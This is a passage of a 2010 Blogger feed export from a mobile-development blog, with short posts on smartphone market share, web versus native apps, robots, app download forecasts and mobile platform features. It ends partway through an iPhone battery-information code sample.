Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=3509231493383028960' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/3509231493383028960'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/3509231493383028960'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2010/07/smartphone-market-share-q1-2010.html' title='Smartphone Market Share - Q1 2010'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-8652776932349137003</id><published>2010-07-03T10:07:00.000-04:00</published><updated>2010-07-03T10:07:25.578-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='RIA'/><title type='text'>RIA frameworks used for deployed applications</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: left;"&gt;Via Software Developers (SD) Times:&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_mPswsGUhiws/TC8-RGVdzHI/AAAAAAAAHhI/LfRjgPWLKwI/s1600/RIA+frameworks+used+for+deployed+applications.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_mPswsGUhiws/TC8-RGVdzHI/AAAAAAAAHhI/LfRjgPWLKwI/s320/RIA+frameworks+used+for+deployed+applications.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-8652776932349137003?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/8652776932349137003/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=8652776932349137003' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/8652776932349137003'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/8652776932349137003'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2010/07/ria-frameworks-used-for-deployed.html' title='RIA frameworks used for deployed applications'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_mPswsGUhiws/TC8-RGVdzHI/AAAAAAAAHhI/LfRjgPWLKwI/s72-c/RIA+frameworks+used+for+deployed+applications.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-7444655526333155296</id><published>2010-05-29T11:09:00.001-04:00</published><updated>2010-05-29T11:46:37.865-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Robots'/><title type='text'>Robots: they re-arrange themselves and officiate a marriage ceremony</title><content type='html'>Yukiko Sawada and Takashi Tsubouchi at the University of Tsukuba, Japan, have built a self-configuring conference room, where the tables are robots that re-arrange themselves based on an initial configuration inputed through a User Interface:&lt;br /&gt;&lt;br /&gt;&lt;object height="385" width="640"&gt;&lt;param name="movie" value="http://www.youtube.com/v/UtW8PDP7P1s&amp;color1=0xb1b1b1&amp;color2=0xd0d0d0&amp;hl=en_US&amp;feature=player_embedded&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/UtW8PDP7P1s&amp;color1=0xb1b1b1&amp;color2=0xd0d0d0&amp;hl=en_US&amp;feature=player_embedded&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" allowScriptAccess="always" width="640" height="385"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;And, if we are on the subject of robots, also in Japan, a robot named i-Fairy officiated a marriage ceremony:&lt;br /&gt;&lt;br /&gt;&lt;object height="385" width="640"&gt;&lt;param name="movie" value="http://www.youtube.com/v/E3KGW63rex4&amp;hl=en_US&amp;fs=1&amp;rel=0"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/E3KGW63rex4&amp;hl=en_US&amp;fs=1&amp;rel=0" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="640" height="385"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-7444655526333155296?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/7444655526333155296/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=7444655526333155296' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/7444655526333155296'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/7444655526333155296'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2010/05/conference-room-that-re-arranges-itself.html' title='Robots: they re-arrange themselves and officiate a marriage ceremony'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-5020200411572789727</id><published>2010-05-04T21:10:00.003-04:00</published><updated>2010-05-04T21:11:50.262-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MobileMonday'/><category scheme='http://www.blogger.com/atom/ns#' term='Mobile'/><title type='text'>Mobile Monday Miami - May 2010</title><content type='html'>&lt;div style="text-align: justify;"&gt;Yesterday evening I attended my first &lt;a href="http://momomiami.com/"&gt;Mobile Monday Miami&lt;/a&gt; meeting. It was a breath of fresh air to meet and connect with people that share the same interest as I do, and are enthusiastic about anything and everything mobile. The topic was "&lt;a href="http://momomiami.com/2010/04/will-the-mobile-web-kill-off-the-app-store/"&gt;Will The Mobile Web Kill Off The App Store?&lt;/a&gt;" The overall conclusion was that whether you develop your app on the mobile browser or&amp;nbsp;natively, it really depends on the uses case you have at hand. Let's look at some pros and cons of both approaches:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;Mobile Web&lt;/b&gt;&lt;br /&gt;&lt;/li&gt;&lt;ul&gt;&lt;li&gt; PROS: One app for all platforms (almost). With the adoption of WebKit (iPhone, Android, WebOS, Nokia, and soon RIM) and HTML 5, this could become the cross-platform solution that everyone is searching for.&lt;/li&gt;&lt;li&gt;CONS: Getting access to some low level functionality of the phone is very difficult. Could you query the phone's proximity sensor for example? Not really.&amp;nbsp;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;Native&lt;/b&gt; &lt;br /&gt;&lt;/li&gt;&lt;ul&gt;&lt;li&gt; PROS: Full access to the phone's APIs that provide you a way to query its hardware.&lt;/li&gt;&lt;li&gt;CONS: Having to develop one app for each platform. There are &lt;a href="http://mihaifonoage.blogspot.com/2009/12/cross-platform-mobile-development.html"&gt;cross-platform tools&lt;/a&gt; that try to mitigate this issue. I haven't used any of those tools, although I wrote about them, but the comment made by Steve Jobs that the platforms will support the lowest common denominator in terms of features. However, I imagine that you could tweak the tools to take advantage of the features provided by every platform that you target.&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;div&gt;Another view of the topic discussed Monday was the benefit of having an App Store in terms of&amp;nbsp;discoverability and distribution, a one stop place. This can never be achieved with a web version.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Overall, fantastic discussions, great turnout, I'll definitely become a regular.&amp;nbsp;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-5020200411572789727?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/5020200411572789727/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=5020200411572789727' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/5020200411572789727'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/5020200411572789727'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2010/05/mobile-monday-miami-may-2010.html' title='Mobile Monday Miami - May 2010'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-5376867133956233210</id><published>2010-04-30T18:02:00.000-04:00</published><updated>2010-04-30T18:02:47.869-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='RIM'/><category scheme='http://www.blogger.com/atom/ns#' term='Smartphones'/><category scheme='http://www.blogger.com/atom/ns#' term='BlackBerry'/><title type='text'>BlackBerry in Top 5 of Worldwide Mobile Phone Bestsellers</title><content type='html'>As per &lt;a href="http://www.wired.com/gadgetlab/2010/04/top-five-mobile-phone-companies/"&gt;wired.com&lt;/a&gt;, RIM has replaced&amp;nbsp;Motorola in the top five mobile phone companies worldwide based on Q1 2010 sales, and it's tied with Sony Ericsson for the number 4 spot:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_mPswsGUhiws/S9tRuev4xnI/AAAAAAAAHRM/Zq5Rxy1Plao/s1600/TopFiveCompanies.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_mPswsGUhiws/S9tRuev4xnI/AAAAAAAAHRM/Zq5Rxy1Plao/s320/TopFiveCompanies.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;This is not unexpected since when it comes to enterprise and messaging, there is nothing like the BlackBerry. On a side note, Motorola has actually had profit for the first quarter of 2010, earning $69 millions. Go Moto!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-5376867133956233210?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/5376867133956233210/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=5376867133956233210' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/5376867133956233210'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/5376867133956233210'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2010/04/blackberry-in-top-5-of-worldwide-mobile.html' title='BlackBerry in Top 5 of Worldwide Mobile Phone Bestsellers'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_mPswsGUhiws/S9tRuev4xnI/AAAAAAAAHRM/Zq5Rxy1Plao/s72-c/TopFiveCompanies.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-6835046336118704020</id><published>2010-04-25T18:54:00.001-04:00</published><updated>2010-04-25T18:55:27.046-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Software Development'/><category scheme='http://www.blogger.com/atom/ns#' term='Books'/><title type='text'>Ten Best Chapters of Software Development Books</title><content type='html'>I have file on my laptop that contains a huge list of books (mostly software related) that I just don't have the time to read&amp;nbsp;completely, or to read at all (but I do have time to write this blog :)). Beside the list of books, the file has links to other lists of books of the type "every programmer should read", "must read", you got the idea. Dustin Marx came up with his &lt;a href="http://marxsoftware.blogspot.com/2010/04/ten-best-chapters-of-software.html"&gt;own list&lt;/a&gt;, but what is different is that it gives you a list of best chapters of software development books, chapters that he "found to be most influential or most impressive" in his career as a software developer. If you're just like me, you will appreciate the list.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-6835046336118704020?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/6835046336118704020/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=6835046336118704020' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/6835046336118704020'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/6835046336118704020'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2010/04/ten-best-chapters-of-software.html' title='Ten Best Chapters of Software Development Books'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-8468116464898033055</id><published>2010-04-24T16:57:00.001-04:00</published><updated>2010-04-24T16:57:46.163-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Engineering'/><category scheme='http://www.blogger.com/atom/ns#' term='Design'/><title type='text'>The Marshmallow Challenge</title><content type='html'>Tom Wujec conducted a team building experiment called the &lt;a href="http://marshmallowchallenge.com/Welcome.html"&gt;marshmallow challenge&lt;/a&gt; with people ranging from kindergartners to CEOs, with results that were&amp;nbsp;surprising. His presentation is below:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;object height="326" width="446"&gt;&lt;param name="movie" value="http://video.ted.com/assets/player/swf/EmbedPlayer.swf"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true" /&gt;&lt;param name="wmode" value="transparent"&gt;&lt;/param&gt;&lt;param name="bgColor" value="#ffffff"&gt;&lt;/param&gt;&lt;param name="flashvars" value="vu=http://video.ted.com/talks/dynamic/TomWujec_2010U-medium.flv&amp;su=http://images.ted.com/images/ted/tedindex/embed-posters/TomWujec-2010U.embed_thumbnail.jpg&amp;vw=432&amp;vh=240&amp;ap=0&amp;ti=837&amp;introDuration=16500&amp;adDuration=4000&amp;postAdDuration=2000&amp;adKeys=talk=tom_wujec_build_a_tower;year=2010;theme=a_taste_of_ted2010;theme=new_on_ted_com;theme=not_business_as_usual;event=TED2010;&amp;preAdTag=tconf.ted/embed;tile=1;sz=512x288;" /&gt;&lt;embed src="http://video.ted.com/assets/player/swf/EmbedPlayer.swf" pluginspace="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" wmode="transparent" bgColor="#ffffff" width="446" height="326" allowFullScreen="true" flashvars="vu=http://video.ted.com/talks/dynamic/TomWujec_2010U-medium.flv&amp;su=http://images.ted.com/images/ted/tedindex/embed-posters/TomWujec-2010U.embed_thumbnail.jpg&amp;vw=432&amp;vh=240&amp;ap=0&amp;ti=837&amp;introDuration=16500&amp;adDuration=4000&amp;postAdDuration=2000&amp;adKeys=talk=tom_wujec_build_a_tower;year=2010;theme=a_taste_of_ted2010;theme=new_on_ted_com;theme=not_business_as_usual;event=TED2010;"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-8468116464898033055?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/8468116464898033055/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=8468116464898033055' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/8468116464898033055'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/8468116464898033055'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2010/04/marshmallow-challenge.html' title='The Marshmallow Challenge'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-2536816461889800413</id><published>2010-04-12T18:53:00.002-04:00</published><updated>2010-04-12T18:55:31.013-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='iPhone'/><category scheme='http://www.blogger.com/atom/ns#' term='Battery'/><category scheme='http://www.blogger.com/atom/ns#' term='Mobile Applications'/><category scheme='http://www.blogger.com/atom/ns#' term='Mobile'/><category scheme='http://www.blogger.com/atom/ns#' term='Smartphones'/><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><category scheme='http://www.blogger.com/atom/ns#' term='BlackBerry'/><title type='text'>Perfect Mobile Platform</title><content type='html'>&lt;div style="text-align: justify;"&gt;What would make up the perfect mobile platform? What characteristics should it posses? Here are some of them, in no specific order:&lt;/div&gt;&lt;ul&gt;&lt;li style="text-align: justify;"&gt;&lt;b&gt;User Interface/Experience&lt;/b&gt; - a rich user interface that provides a great user experience. When using the phone, everything should come naturally, with ease, and should have the WOW factor that makes you never want to leave the phone out of your hands. Doing common tasks should not take more than a few clicks.&amp;nbsp;&lt;/li&gt;&lt;li style="text-align: justify;"&gt;&lt;b&gt;Application Ecosystem&lt;/b&gt; - Having many applications to chose from is not&amp;nbsp;as important as having quality applications, those that satisfy a particular need, like finding a place to eat, checking your email, or&amp;nbsp;playing&amp;nbsp;Doom. Integrating location, social networking, and sensors is a must.&lt;/li&gt;&lt;li style="text-align: justify;"&gt;&lt;b&gt;Internet Browsing&lt;/b&gt; - surf the Web from anywhere, on the go. A mobile browser should be able to render pages properly and fast, navigation should be done with ease, data should be compressed as to save bandwidth, and use the latest web technologies (HTML5, CSS, JavaScript, etc).&lt;/li&gt;&lt;li style="text-align: justify;"&gt;&lt;b&gt;Battery Life&lt;/b&gt; - it better not leave me hanging after a full day of use, or in the middle of a call, or while searching for a place to eat using the GPS.&amp;nbsp;&lt;/li&gt;&lt;li style="text-align: justify;"&gt;&lt;b&gt;Development Ecosystem&lt;/b&gt; - provide a rich set of APIs that can access all the features of the phone, and can provide the best user experience. Provide tools that can be used to make it easier to write apps. Publishing an application should not involve much hassle.&amp;nbsp;&lt;/li&gt;&lt;li style="text-align: justify;"&gt;&lt;b&gt;Openness&lt;/b&gt;&amp;nbsp;- here I refer to not only an open and free platform, but to a platform that allows any mobile technology to work on it.&lt;/li&gt;&lt;li style="text-align: justify;"&gt;&lt;b&gt;Enterprise&lt;/b&gt; - features such as security, integration with email/calendar/notes/contacts&amp;nbsp;servers, messaging, to name just a few.&amp;nbsp;&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;There is no one platform that satisfies all these needs better than any other platform. What is needed is a platform that has the user experience of iPhone and Android, the application ecosystem of iPhone (and Android very soon), the internet browsing of iPhone and Android (mostly any WebKit-based browsers), the battery life of the Blackberry, the development ecosystem of Android and iPhone, the openness of Android, and the enterprise characteristics of Blackberry.&amp;nbsp;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Will we ever have such a platform? I really doubt it.&amp;nbsp;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-2536816461889800413?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/2536816461889800413/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=2536816461889800413' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/2536816461889800413'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/2536816461889800413'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2010/04/perfect-mobile-platform.html' title='Perfect Mobile Platform'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-5557852362218856826</id><published>2010-04-08T11:23:00.002-04:00</published><updated>2010-04-12T19:54:07.677-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='iPhone'/><category scheme='http://www.blogger.com/atom/ns#' term='Symbian'/><category scheme='http://www.blogger.com/atom/ns#' term='Smartphones'/><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><category scheme='http://www.blogger.com/atom/ns#' term='BlackBerry'/><category scheme='http://www.blogger.com/atom/ns#' term='Forecasts'/><title type='text'>Smartphone Application Downloads Forecast</title><content type='html'>&lt;div style="text-align: justify;"&gt;ABI Research has recently published a forecast for smartphone application&amp;nbsp;downloads&amp;nbsp;world wide for 2009 - 2015, and which can bee seen in the chart below:&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://data.abiresearch.com/Image/MD-APPS-101%20chart(1).jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="262" src="http://data.abiresearch.com/Image/MD-APPS-101%20chart(1).jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;While iPhone apps are still going to be the leading source of downloads, for the year of 2010, Android is expected to have over 800 millions application downloaded, a major increase compared to 2009. Beside iPhone and Android, Blackberry and Symbian are also catching up on sales. What all this means, at least for me, is that it is a great time to be a mobile developer :)&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-5557852362218856826?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/5557852362218856826/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=5557852362218856826' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/5557852362218856826'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/5557852362218856826'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2010/04/smartphone-application-downloads.html' title='Smartphone Application Downloads Forecast'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-395785014369037669</id><published>2010-04-05T18:51:00.001-04:00</published><updated>2010-04-12T19:54:26.158-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Advertising'/><category scheme='http://www.blogger.com/atom/ns#' term='Marketing'/><category scheme='http://www.blogger.com/atom/ns#' term='Gaming'/><title type='text'>We will live in a game</title><content type='html'>&lt;div style="text-align: justify;"&gt;"We will live in a game!" This is what you will take away after &lt;a href="http://g4tv.com/videos/44277/DICE-2010-Design-Outside-the-Box-Presentation/"&gt;watching&lt;/a&gt;&amp;nbsp;Jesse Schell's presentation at DICE 2010 summit. He envisions a day that has normal activities, like brushing your teeth, eating cereals, watch TV, etc, but which will let you win points and benefits when attending to those&amp;nbsp;activities.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Great fun to watch the presentation, very intriguing and eye opening at the same time. Read about it via &lt;a href="http://spectrum.ieee.org/tech-talk/consumer-electronics/gaming/the-most-disturbing-presentation-of-the-year"&gt;IEEE Spectrum&lt;/a&gt;.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-395785014369037669?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/395785014369037669/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=395785014369037669' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/395785014369037669'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/395785014369037669'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2010/04/we-will-live-in-game.html' title='We will live in a game'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-2398856784729861369</id><published>2010-03-03T22:35:00.002-05:00</published><updated>2010-04-12T19:54:57.873-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cocoa Touch'/><category scheme='http://www.blogger.com/atom/ns#' term='iPhone'/><title type='text'>Battery Information using iPhone's Cocoa Touch</title><content type='html'>&lt;div style="text-align: justify;"&gt;I have done &lt;a href="http://mihaifonoage.blogspot.com/2010/02/getting-battery-level-in-android-using.html"&gt;something similar&lt;/a&gt; (although on a smaller scale) to this but for the Android platform. For the iPhone platform, the main class used is &lt;a href="http://developer.apple.com/iphone/library/documentation/UIKit/Reference/UIDevice_Class/Reference/UIDevice.html"&gt;UIDevice&lt;/a&gt;. Below is the header used:&lt;/div&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"&gt;&lt;code&gt;#import &amp;lt;UIKit/UIKit.h&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;@interface BatteryInformationViewController : UIViewController {&lt;br /&gt;    IBOutlet UITextView *batteryLevel;&lt;br /&gt;    IBOutlet UITextView *chargingState;&lt;br /&gt;    // Used to format the battery level&lt;br /&gt;    NSNumberFormatter *numberFormatter; &lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;@property (nonatomic, retain) UITextView *batteryLevel;&lt;br /&gt;@property (nonatomic, retain) UITextView 